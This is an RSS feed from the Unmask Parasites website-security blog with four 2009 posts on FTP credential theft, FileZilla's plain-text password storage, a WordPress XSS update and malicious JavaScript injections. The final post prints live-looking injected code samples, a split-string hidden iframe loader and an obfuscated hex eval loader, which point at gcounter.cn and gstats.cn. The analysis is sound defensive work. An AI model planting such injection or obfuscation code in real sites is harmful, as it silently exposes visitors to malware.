<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Unmask Parasites. Blog. &#187; Tips and Tricks</title>
	<atom:link href="http://blog.unmaskparasites.com/category/tips-and-tricks/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.unmaskparasites.com</link>
	<description>Website insecurity by example</description>
	<lastBuildDate>Thu, 29 Jul 2010 19:20:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>10 FTP Clients Malware Steals Credentials From</title>
		<link>http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/</link>
		<comments>http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/#comments</comments>
		<pubDate>Wed, 23 Sep 2009 20:42:54 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[FileZilla]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=307</guid>
		<description><![CDATA[This year, most successful malware attacks against legitimate websites used stolen FTP credentials. I always suggest that you don&#8217;t store passwords in your FTP programs where they are easily accessible by any program running on your computer (including malware). For example, in FileZilla, FTP passwords are stored as plain text in configuration files. And FileZilla [...]]]></description>
			<content:encoded><![CDATA[<p>This year, most successful malware attacks against legitimate websites used stolen FTP credentials. I always suggest that you don&#8217;t store passwords in your FTP programs where they are easily accessible by any program running on your computer (including malware). For example, <a href="http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/">in FileZilla, FTP passwords are stored as plain text</a> in configuration files. And FileZilla is not the only FTP client malware authors target in their hunt for website credentials.</p>
<p>In the recent post about Quicksilver malware network, you can read that the trojan behind the infamous iframe injection attack &#8220;<em>looks for all kinds of configuration files of ftp programs in their default install paths</em>&#8220;. I contacted the researcher and asked if he had a full list of the FTP clients this malware looks for.<br />
<span id="more-307"></span></p>
<h3>And here&#8217;s the list:</h3>
<ol>
<li>CoffeeCup <a href="http://www.coffeecup.com/direct-ftp/">Direct FTP</a></li>
<li>TransSoft <a href="http://www.ftpcontrol.com/">FTP Control 4</a></li>
<li><a href="http://www.coreftp.com/">Core FTP</a></li>
<li>GlobalScape <a href="http://www.cuteftp.com/products/ftp_clients.aspx">CuteFTP</a></li>
<li><a href="http://www.farmanager.com/index.php?l=en">Far Manager</a> (with FTP plugin)</li>
<li><a href="http://filezilla-project.org/">FileZilla</a></li>
<li><a href="http://www.flashfxp.com/">FlashFXP</a></li>
<li><a href="http://www.smartftp.com/">SmartFTP</a></li>
<li><a href="http://www.softwarea.com/ftp.htm">FTP Navigator</a></li>
<li><a href="http://www.ghisler.com/">Total Commander</a></li>
</ol>
<p>The list looks trustworthy. The same FTP programs can be found on the  <a href="http://images.kaspersky.com/ru/vlill/golov_spambot0909_pic09.png">screenshot of a trojan code </a>from <a href="http://www.securelist.com/ru/analysis/208050559/Fabrika_nazhivy">Kaspersky&#8217;s article</a> (in Russian) about the same attack.</p>
<h3>So what if you are using one of these FTP client?</h3>
<p>Keep using it. Just don&#8217;t save your passwords there.  Enter passwords every time you connect to remote servers. Or invest some time to read your program&#8217;s documentation and find out what they can offer to security-minded webmasters. Some clients support public key authorization, some offer encrypted site managers, etc.</p>
<p>Just to be on the safe side, scan your computer for malware. Then scan your site for signs of break-ins (you might want to start with <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> checks). If you have any suspicion, change all passwords ASAP.</p>
<p>And don&#8217;t think if you are using some other FTP client you can safely store your passwords in it. There may be another trojan that specifically targets your favorite program.</p>
<h3>Move to secure file transfer protocols.</h3>
<p>BTW, in my <a href="http://blog.unmaskparasites.com/2009/09/20/tweet-week-sept-14-20-2009/">previous post</a> you could see a link to an article about another <a href="http://www.sophos.com/blogs/sophoslabs/?p=6516">trojan that sniffs FTP traffic and steals credentials</a>. If you use FTP, you can&#8217;t hide your passwords from this trojan &#8211; FTP protocol doesn&#8217;t support any encryption.</p>
<p>The answer to this problem is secure protocols: like <a href="http://en.wikipedia.org/wiki/SSH_file_transfer_protocol">SFTP</a> or <a href="http://en.wikipedia.org/wiki/FTPS">FTPS</a>. Most FTP clients support these protocols, so you don&#8217;t need to find a new program. However, if you are on a shared server, make sure that your hosting plan includes any of these secure protocols.</p>
<p><span style="color: #888888;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/">Beware: FileZilla Doesn’t Protect Your Passwords</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/17/quicksilver-malware-network/">Quicksilver Malware Network</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Beware: FileZilla Doesn&#8217;t Protect Your Passwords</title>
		<link>http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/</link>
		<comments>http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/#comments</comments>
		<pubDate>Tue, 01 Sep 2009 18:51:45 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[FileZilla]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[hosts]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=277</guid>
		<description><![CDATA[2009 is the year of malware attacks that use stolen FTP credentials to infect legitimate web sites. Hundreds of thousands websites have been hacked this way and suffered from hidden iframe injections, Gumblar, redirections to bogus anti-virus sites, etc.
The success of those attacks is based on the fact that a significant percentage of web surfer [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #333333;"><strong>2009</strong></span> is the year of malware attacks that use stolen FTP credentials to infect legitimate web sites. <span style="color: #333333;"><strong>Hundreds of thousands websites</strong></span> have been hacked this way and suffered from <a href="http://blog.unmaskparasites.com/2009/06/25/hidden-cn-iframes-are-still-prevalent/">hidden iframe injections</a>, <a href="http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/">Gumblar</a>, redirections to <a href="http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/">bogus anti-virus sites</a>, etc.</p>
<p>The success of those attacks is based on the fact that a significant percentage of web surfer are webmasters and site owners themselves. Once a computer of a site owner is infected, malware can steal his/her FTP credentials and use them to make the site distribute malware to unsuspecting visitors, who, in turn, may also be site owners.  As a result, we see rapid growth in number of compromised websites.</p>
<p>There are quite a few hypotheses about how cibercriminals steal the credentials: traffic sniffing, using keyloggers, etc. But the most viable is that trojans simply extract everything they need from configuration files of popular FTP programs.  Let me show how easy it can be done.<br />
<span id="more-277"></span></p>
<h3>FileZilla</h3>
<p>Lets take a very popular free FTP client called <a href="http://filezilla-project.org/">FileZilla</a>. For this experiment, I downloaded and installed the latest version 3.2.7.1.</p>
<h3>Adding new site</h3>
<p>Then I added a fictitious site &#8220;<span style="color: #333333;"><strong>example.com</strong></span>&#8221; with username &#8220;<span style="color: #333333;"><strong>unmask</strong></span>&#8221; and password &#8220;<span style="color: #333333;"><strong>parasites</strong></span>&#8220;. Logontype is &#8220;<span style="color: #333333;"><strong>Normal</strong></span>&#8221; &#8211; this is probably the most popular type since it allows one-click connection and doesn&#8217;t require that you enter username/password every time. Then I clicked OK to save the new settings.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2009/09/adding-new-site.png" border="0" alt="Adding new site" /></div>
<h3>FileZilla configuration files</h3>
<p>FileZilla is a cross-platform application. That&#8217;s why it stores its settings in platform-neutral XML files.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2009/09/filezilla-configuration-files.png" border="0" alt="FileZilla configuration files" /></div>
<h3>sitemanager.xml</h3>
<p>XML files are human readable. This is what I discovered in the <em>sitemanager.xml</em> file right after I added a new site to FileZilla.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2009/09/sitemanager-xml.gif" border="0" alt="sitemanager.xml" /></div>
<p>As you can see, everything is stored in plain text, including the password.</p>
<h3>filezilla.xml</h3>
<p>When I tried to connect to &#8220;example.com&#8221;, FileZilla added the following &lt;LastServer&gt; section to filezilla.xml. Again, everything in plain text.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2009/09/filezilla-xml.gif" border="0" alt="filezilla.xml" /></div>
<h3>Quick connect</h3>
<p>FileZilla has a quickconnect bar that allows you to connect to servers without adding them to the Site Manager.  When I used it, similar information was added to <em>recentservers.xml</em> (needless to say, unencrypted).</p>
<h3>Anyone wants my passwords?</h3>
<p>As you can see, any program on your computer, legitimate and malicious, can read this information. Moreover, any person who have access (even for a couple of minutes only) to your computer, can easily steal your FTP credentials. And there are<a href="http://www.viruslist.com/en/viruses/encyclopedia?virusid=147349"> known trojans that do steal personal information</a> from configuration data of popular programs (thanks <a href="http://wirewatcher.wordpress.com/">Alec Waters</a> who sent me this link).</p>
<p>Did you know this? Can you trust every program on your computer? Have you recently had malware issues? What about spyware that your anti-virus failed to detect (no program is perfect)?<br />
<a name="design"></a></p>
<h3>This is &#8220;by design&#8221;</h3>
<p>At FileZilla they <a href="http://forum.filezilla-project.org/viewtopic.php?f=2&amp;t=7800">clearly state</a> that they don&#8217;t want to encrypt or hide your sensitive information:</p>
<blockquote><p>This is by design, it is the task of the operating system to protect your private data.</p></blockquote>
<p>Probably they are right. Unfortunately, there is no such thing as 100% secure operating system. And in case of Windows, where viruses and spyware are not that rare, I would be very concerned if I knew that my data is protected by the operating system only.</p>
<p>I know, that encrypting passwords is not a good solution either. Malware authors can reverse-engineer FTP clients and extract the decryption algorithm (in case of open source programs they only need to read the source code). So encryption can&#8217;t stop malware from stealing FTP credentials. It can only save you from eyes of strangers who have access to your computer.</p>
<p>The protection can only be sufficiently strong if users are required to enter their &#8220;master password&#8221; every time they open the program (like in <a href="http://keepass.info/">KeePass</a>). However this approach makes the convenience of storing FTP passwords in FTP clients questionable &#8211; you still have to remember and enter some password on every use. That&#8217;s why it is not used in FTP programs (that I know of).<br />
<a name="flaw"></a></p>
<h3>The flaw in the design</h3>
<p>So I agree with FileZilla. It is sensible to store FTP credential in plain text when you choose the &#8220;Normal&#8221; logon type. But <span style="color: #333333;"><strong>only if users are aware of the risks</strong></span>.</p>
<p>The problem is the majority of FTP programs&#8217; users trust their software and never think about how their private information is handled and if there are any security risks associated with the way they use the software. And as you now know the risks are real and substantial! There is a flaw in the design if it lets people feel secure when they are not.</p>
<p>How about the following change of the design? The &#8220;<span style="color: #333333;"><strong>Normal</strong></span>&#8221; logon type can be renamed to &#8220;<span style="color: #333333;"><strong>Normal (insecure)</strong></span>&#8220;. And when users choose this type, they see a warning saying that their <span style="color: #333333;"><em><strong>FTP credentials will be saved in plain text and can be easily stolen if the computer&#8217;s security is compromised</strong></em></span>.  And the Quickconnect toolbar should never save passwords. If there is a need to save the &#8220;quick connection&#8221;, why not offer to add it to the Site Manager?</p>
<p>I believe, the impact of these small changes would be significant. One-click FTP connections are very convenient. But, as always, the convenience comes at a price. And if webmasters know this price, they will be more prepared to deal with potential security problems.<br />
<a name="safe"></a></p>
<h3>Using FileZilla the safe way</h3>
<p>FileZilla is a great FTP client and I use it myself. But since it doesn&#8217;t protect your FTP credentials, you should protect them yourselves. Here is what you can do:</p>
<p><span style="color: #333333;"><strong>1. Don&#8217;t use the &#8220;Normal&#8221; logon type.</strong> </span>There are the &#8220;<span style="color: #333333;"><strong>Ask for password</strong></span>&#8221; and the &#8220;<span style="color: #333333;"><strong>Interactive</strong></span>&#8221; types that won&#8217;t save your passwords on disk. So malware simply won&#8217;t be able to get enough information from FileZilla configuration files to hack your sites.</p>
<p style="padding-left: 30px;"><span style="color: #333333;"><strong>Pros</strong></span></p>
<ul>
<li>Malware cannot steal your FTP credential from configuration files.</li>
</ul>
<p style="padding-left: 30px;"><span style="color: #333333;"><strong>Cons</strong></span></p>
<ul>
<li>You&#8217;ll have to enter your password every time you connect to your site.</li>
<li>It won&#8217;t save you from more sophisticated spyware such as keyloggers and traffic sniffers. But I hope this sort of trojans can be better detected by you antivirus tools since they need to hook known system functions. To protect yourself from traffic sniffers, always use <a href="http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol">SFTP</a> instead of FTP (if possible).</li>
</ul>
<p><span style="color: #333333;"><strong>2. </strong><strong>Hosts trick.</strong></span> If you manage multiple web sites, interactive logon types may be really inconvenient. There is a trick that can let you use the &#8220;Normal&#8221; logon type in a more secure manner. You should create aliases of your sites&#8217; addresses in the &#8220;<span style="color: #333333;"><strong>hosts</strong></span>&#8221; file (on Windows,  you can find it in <span style="color: #333333;"><strong>C:\WINDOWS\system32\drivers\etc\</strong></span>).</p>
<p>For example you have a site &#8220;example.com&#8221; with an IP-address &#8220;208.77.188.166&#8243;. To create an alias you need to add the following line into the <span style="color: #333333;"><strong>hosts</strong></span> file:</p>
<p><code>208.77.188.166         my_example</code></p>
<p>&#8220;<span style="color: #333333;"><strong>my_example</strong></span>&#8221; will work the same way as &#8220;<span style="color: #333333;"><strong>example.com</strong></span>&#8221; when you use it on your computer.  However, on other computers it won&#8217;t make any sense. Now use this alias in FTP connection settings instead of &#8220;example.com&#8221;.  If hackers manage to steal your FTP credentials, all they&#8217;ll have will be: (<span style="color: #993300;">host: my_example, user: unmask, password: parasites</span>) &#8211; the username/password pair is valid, but the host name doesn&#8217;t make any sense to them. It&#8217;s like having a key and not knowing where the door is.</p>
<p style="padding-left: 30px;"><span style="color: #333333;"><strong>Pros</strong></span></p>
<ul>
<li>Once you have added new aliases to the <span style="color: #333333;"><strong>hosts</strong></span> file and to FileZilla Site Manager, you can enjoy the ease of one-click connections.</li>
</ul>
<p style="padding-left: 30px;"><span style="color: #333333;"><strong>Cons</strong></span></p>
<ul>
<li>This trick will only work as long as malware steals FTP credentials from configuration files verbatim (and I have proofs that at least some malware steal the data verbatim).  If they only add a simple check that converts host names to IP-addresses before sending the credentials to their central database, the trick will be useless.  This trick is better than no protection at all, but you should not count on it.</li>
<li>You&#8217;ll need to update the <span style="color: #333333;"><strong>hosts</strong></span> file if IP-addresses change.</li>
</ul>
<p><span style="color: #333333;"><strong>3. </strong><strong>Public Key Authentication.</strong></span> If your hosting plan included <a href="http://en.wikipedia.org/wiki/Secure_Shell">SSH</a> (secure shell), you can use FileZilla in SFTP mode. One of convenient SSH features is public key authentication. And FileZilla supports this type of authorization (I didn&#8217;t use it myself, but at least have seen the UI in the &#8220;Settings&#8221; dialog). FileZilla recognizes PuTTY&#8217;s Pageant, so the configuration should be easy if you already use <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/">PuTTY</a> for SSH.</p>
<p style="padding-left: 30px;"><strong><span style="color: #333333;">Pros</span></strong></p>
<ul>
<li> Secure one-click connections.</li>
</ul>
<p style="padding-left: 30px;"><span style="color: #333333;"><strong>Cons</strong></span></p>
<ul>
<li>This authentication method will only work if your hosting plan includes SSH/SFTP. Unfortunately, this option is rearly included into shared hosting plans.</li>
<li>Creating the keys and configuring FileZilla to use them is not a trivial process.</li>
<li>You might still have to enter a pass phrase when adding keys to the Pageant.</li>
</ul>
<h3>Other FTP programs</h3>
<p>In this article I reviewed FileZilla only because it&#8217;s a popular FTP client that I have on my computer and it was very easy to demonstrate how little it does to protect users&#8217; FTP credentials. However the same concerns apply to all other  programs that have FTP functions: classical FTP clients, web page editors, file managers. Popular applications like DreamWeaver, CuteFTP, Total Commander, etc. account for majority of FTP credentials leaks.</p>
<h3>Be proactive</h3>
<p>Now ask yourself a few questions. Do you know where and how your FTP client stores your passwords? Will they be safe if a malicious program program penetrates into your computer? Do you know how to protect your FTP credentials?</p>
<p>If you&#8217;ve recently had malware issues with your computer or just suspect that your systems is infected or contains programs from untrusted sources, it&#8217;s time to change all passwords and scan your websites for malicious content that hackers might have already uploaded there (my <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> online tool is a good starting point as it helps detect hidden illicit content in your web page).</p>
<p>Thanks for reading this rather long post. I hope it was worth  it. Do you have anything to add? Any other security concerns associated with FTP programs? Any tricks to keep your FTP credentials secure? Your comments are welcome.</p>
<p><span style="color: #808080;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/05/13/noscript-helps-reveal-website-exploits-telegram-com-case/">NoScript Helps Reveal Website Exploits – Telegram .com Case</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/04/22/vulnerability-advisories-for-third-party-scripts/">Vulnerability Advisories for Third-Party Scripts</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/04/07/using-wget-to-detect-hijacked-search-engine-traffic/">Using Wget to Detect Hijacked Search Engine Traffic</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/06/25/hidden-cn-iframes-are-still-prevalent/">Hidden CN Iframes Are Still Prevalent</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
		<item>
		<title>Why is WordPress 2.8.2 a Critical Update?</title>
		<link>http://blog.unmaskparasites.com/2009/07/20/why-wordpress-2-8-2-is-a-critical-update/</link>
		<comments>http://blog.unmaskparasites.com/2009/07/20/why-wordpress-2-8-2-is-a-critical-update/#comments</comments>
		<pubDate>Mon, 20 Jul 2009 15:49:55 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[NoScript]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=254</guid>
		<description><![CDATA[WordPress has just released a security update.
WordPress 2.8.2 fixes an XSS vulnerability. Comment author URLs were not fully sanitized when displayed in the admin. This could be exploited to redirect you away from the admin to another site
Unfortunately, the official blog didn&#8217;t mention that this upgrade is actually critical and why you should update ASAP. [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress has just released a <a href="http://bit.ly/15Ov9n">security update</a>.</p>
<blockquote><p>WordPress 2.8.2 fixes an XSS vulnerability. Comment author URLs were not fully sanitized when displayed in the admin. This could be exploited to redirect you away from the admin to another site</p></blockquote>
<p>Unfortunately, the official blog didn&#8217;t mention that this upgrade is actually critical and why you should update ASAP. Let me explain this.<br />
<span id="more-254"></span></p>
<h3>What is XSS vulnerability?</h3>
<p><a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS (Cross-Site Scripting)</a> is a security vulnerability that allows malicious users inject code into web pages viewed by other users. In case of this WordPress vulnerability, hackers can leave a comment specifying specially crafted URL in the &#8220;website&#8221; field of the comment form. When you open any web page in the admin area of your blog that displays this malicious comment (this may be the dashboard, the comments section and the specific post edit page), the code in the comment author&#8217;s URL is activated and you get automatically redirected to a third party site (as suggests the update release note).</p>
<h3>Why is this serious?</h3>
<p>Now that WordPress has disclosed the fact that versions prior to 2.8.2 have an XSS vulnerability, hackers will start searching for a way to exploit this vulnerability. It usually takes only a few hours to create an exploit and configure a botnet to start an attack.</p>
<p>Redirection from the admin to a third-party site may sound not scary to you, but I envision at least two types of attacks that can lead to very serious consequences: hackers can gain access to the admin area of your blog and to your whole site. (Plus one type that is just annoying)</p>
<h3>Attack #1: Phishing</h3>
<p>As you know, when you sign in to WordPress admin area, the first screen you see is the <span style="color: #333333;"><em><strong>Dashboard</strong></em></span>. And the Dashboard screen contains the <span style="color: #333333;"><em><strong>Recent Comments</strong></em></span> section that displays latest comments. If any of those comment has a specially crafted comment author&#8217;s URL, you will be redirected to a third party site before the whole Dashboard is completely loaded.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2009/07/wordpress-login-screen.gif" border="0" alt="WordPress login screen" /></div>
<p>This third-party site can display a standard WordPress login screen (They all look the same, so if you don&#8217;t check the URL in your browser&#8217;s address bar you won&#8217;t detect the substitution) telling you to try again. Unsuspecting users will enter their credentials again. Hackers will harvest them and redirect the user back to the original admin area. If the XSS code is properly crafted, some users won&#8217;t even know that they have just given their blog credentials to criminals.</p>
<p>By the way, another path to the admin area is to click on the  &#8220;<em>Approve/Delete/Spam</em>&#8221; links in the WordPress notification emails. This way you are also exposed to the attack right after you sign in.</p>
<p><span style="color: #333333;"><em><strong>Dear WordPress developers</strong>, please make the login screen skinable. This way bloggers will be able to recognize &#8220;alien&#8221; login screens that use incorrect themes.</em></span></p>
<h3>Attack #2: Malware.</h3>
<p>The third-party site may not require your passwords. Instead it will try to take advantage of your browser&#8217;s vulnerabilities (at this moment IE has a <a href="http://www.computerworld.com/s/article/9135499/Attacks_against_unpatched_Microsoft_bug_multiply">known unpatched security hole</a> and older versions of other browsers may be vulnerable too) and silently install malware on your local computer. Among other nasty things, trojans scan infected computers and steal stored FTP credentials (for example, FileZilla stores them in plain text in xml files), that will be used to compromise your web site. This is the most &#8220;popular&#8221; vector of hacking web sites this year.</p>
<p>There are also other ways to exploit this XSS vulnerability. Their consequences may be less dangerous but still very annoying.</p>
<h3>Attack #3: SPAM</h3>
<p>Every time you sign into the Blog admin or manage comments you&#8217;ll get redirected to some &#8220;prescription drug&#8221; site.</p>
<h3>Before you upgrade&#8230;</h3>
<p>So it&#8217;s time to upgrade. Right? But wait! What if malicious comments are already waiting for you in the admin area, and when you sign in to take advantage of the WordPress automatic upgrade tool, you will be exposed to the XSS attack?</p>
<h3>Safe way to upgrade</h3>
<p>If you don&#8217;t want to be exposed to any risks, you should upgrade WordPress <strong>before</strong> you sign in to the admin area.</p>
<ol>
<li>The most obvious way to do it is the <a href="http://codex.wordpress.org/Upgrading_WordPress#Three_Step_Manual_Upgrade">manual upgrade</a>. You must be familiar with it if you&#8217;ve lived in the pre-2.7 era.</li>
<li>Another way (probably the most easiest of them all and at the same time the most techie way) is to <a href="http://codex.wordpress.org/Installing/Updating_WordPress_with_Subversion#Updating_to_a_New_Stable_Version">upgrade using Subversion</a>.</li>
<li>If the manual upgrade is not your coup of tea, make sure your web browser can withstand XSS attacks. I suggest that you use the latest version of Firefox (3.5.1 currently) along with the <a href="http://noscript.net/">NoScript</a> extension that has a very good anti-XSS protection. If you use other browsers, <span style="color: #333333;"><em><strong>disable JavaScript</strong></em></span> before you sign in and don&#8217;t enable it until you reach the <em><strong>Tools-&gt;Upgrade</strong></em> page</li>
</ol>
<p>I hope this post has given you some basic understanding of security implications of unpatched XSS vulnerabilities in the Wordpress admin area. Now you know why you should upgrade and how to do it the right way.</p>
<p>Keep your site secure.</p>
<p><span style="color: #888888;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/04/22/vulnerability-advisories-for-third-party-scripts/">Vulnerability Advisories for Third-Party Scripts</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/07/08/future-of-secure-web-browsing/">Future of Secure Web Browsing</a></li>
</ul>
<p>If you like this blog you might also find my free website security tool called <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> useful.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2009/07/20/why-wordpress-2-8-2-is-a-critical-update/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>GStats .cn and GCounter .cn &#8211; Malicious Code in .js Files</title>
		<link>http://blog.unmaskparasites.com/2009/06/22/gstats-cn-and-gcounter-cn-malicious-code-in-js-files/</link>
		<comments>http://blog.unmaskparasites.com/2009/06/22/gstats-cn-and-gcounter-cn-malicious-code-in-js-files/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 15:48:15 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[gcounter]]></category>
		<category><![CDATA[gstats]]></category>
		<category><![CDATA[JS]]></category>
		<category><![CDATA[NoScript]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=231</guid>
		<description><![CDATA[This must be not a new attack (I&#8217;ve found an almost year old article that mentions gcounter iframes) but I started to notice it this past weekend. First, on the Google&#8217;s Webmaster Forums, then in the Unmask Parasites logs. So I guess it&#8217;s a new wave of the attack.
GCounter .cn
When I first encountered a site [...]]]></description>
			<content:encoded><![CDATA[<p>This must be not a new attack (I&#8217;ve found an almost <a href="http://incredibill.blogspot.com/2008/08/how-flawed-is-your-anti-virus.html">year old article</a> that mentions <em>gcounter iframes</em>) but I started to notice it this past weekend. First, on the <a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=6da65d4bd143a077">Google&#8217;s Webmaster Forums</a>, then in the <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> logs. So I guess it&#8217;s a new wave of the attack.</p>
<h3>GCounter .cn</h3>
<p>When I first encountered a site infected by <em>gcounter</em>, I checked it with <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>. Nothing suspicious was found except for the fact that the domain name was blacklisted by Google. I checked the diagnostic page and found this clue:</p>
<blockquote><p>Malicious software is hosted on 1 domain(s), including <span style="text-decoration: underline;">gcounter.cn</span>/.</p></blockquote>
<p><span id="more-231"></span><br />
I opened the site in Firefox and temporarily enabled the site domain in <a href="https://addons.mozilla.org/firefox/addon/722">NoScript</a>. When the page reloaded, another item appeared in the NoScript menu: &#8220;<em>Allow gcounter.com</em>&#8220;. Bingo! The fact it was not initially there means that the malicious code is somewhere in external <em>.js</em> files. I downloaded (using wget) all referenced <em>.js</em> files and located the following code in one of them:</p>
<p><code>if (document.cookie.search("coqwg=3") == -1) {<br />
d ocument.write("&lt;i"+"fr"+"ame sr"+"c=http:"+"//"+"gcou"+"nter"+".cn styl"+"e"+"=displa"+"y:no"+"ne&gt;"+"&lt;/i"+"fram"+"e&gt;");<br />
d ocument.cookie = "coqwg=3;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</code></p>
<p>As you can see, it injects a hidden iframe that loads content from <em><strong>gcounter .cn</strong></em>.</p>
<p>The code also sets a cookie so that only new visitors get infected. So the next time the NoScript trick won&#8217;t work if your browser already has that cookie.</p>
<p>When I checked another site with <em><strong>gcounter .cn</strong></em> mentioned on the diagnostic page, I also found the malicious code in one of the external <em>.js</em> files.</p>
<p>Note, that the code is not simply appended at the very bottom of <em>.js</em> files like in the <a href="http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/">Gumblar exploit</a>, it is injected <em>somewhere in the middle</em> of legitimate JavaScript code. It may even not occupy a separate line, so it is very easy to overlook it.</p>
<h3>GStats .cn</h3>
<p>Another day I found a site with the following record on the Google&#8217;s Safe Browsing diagnostic page:</p>
<blockquote><p>Malicious software is hosted on 1 domain(s), including <span style="text-decoration: underline;">gstats.cn</span>/.</p></blockquote>
<p>The same NoScript trick revealed the malicious code in external .js files. This time the malicious code was more encrypted and looked like this:</p>
<p><code>AA3EC055="p";AA3EC055+="arseI";AA3EC055+="nt";E0B4B25AF7590="Stri";E0B4B25AF7590+="n";E0B4B25AF7590+="g.fr";E0B4B25AF7590+="omCha";<br />
E0B4B25AF7590+="rCo";E0B4B25AF7590+="de";function ACE13AC7F5(A8D133){var DB529=495;DB529=DB529-479;D59CA3C8=eval(AA3EC055+"(A8D133,DB529)");return(D59CA3C8);}<br />
function A230982771962E(D2A369){var DA09B=114;DA09B=DA09B-112;var C8120BEFABE1C="";for(BE4025D=0;BE4025D&lt;D2A369.length;BE4025D+=DA09B){<br />
C8120BEFABE1C+=(eval(E0B4B25AF7590+"(ACE13AC7F5(D2A369.substr(BE4025D,DA09B)))"));}e val(C8120BEFABE1C);}<br />
A230982771962E("69662028646F63756D656E742E636F6F6B69652E73656172636828226A7366783D332229203D3D202D3129207B0A787765773D646F63756D656E742E676574456C656D656E74427949642827636D6B27293B696628787765773D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D636D6B207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D20226A7366783D333B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");</code></p>
<p>After deobfuscation, the code looked similar to the <em>gcounter</em>&#8217;s</p>
<p><code>if (document.cookie.search("jsfx=3") == -1) { xwew=document.getElementById('cmk');if(xwew==null){<br />
d ocument.write('&lt;iframe id=cmk src=http://gstats . cn style=display:none&gt;&lt;/iframe&gt;');}<br />
d ocument.cookie = "jsfx=3;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</code></p>
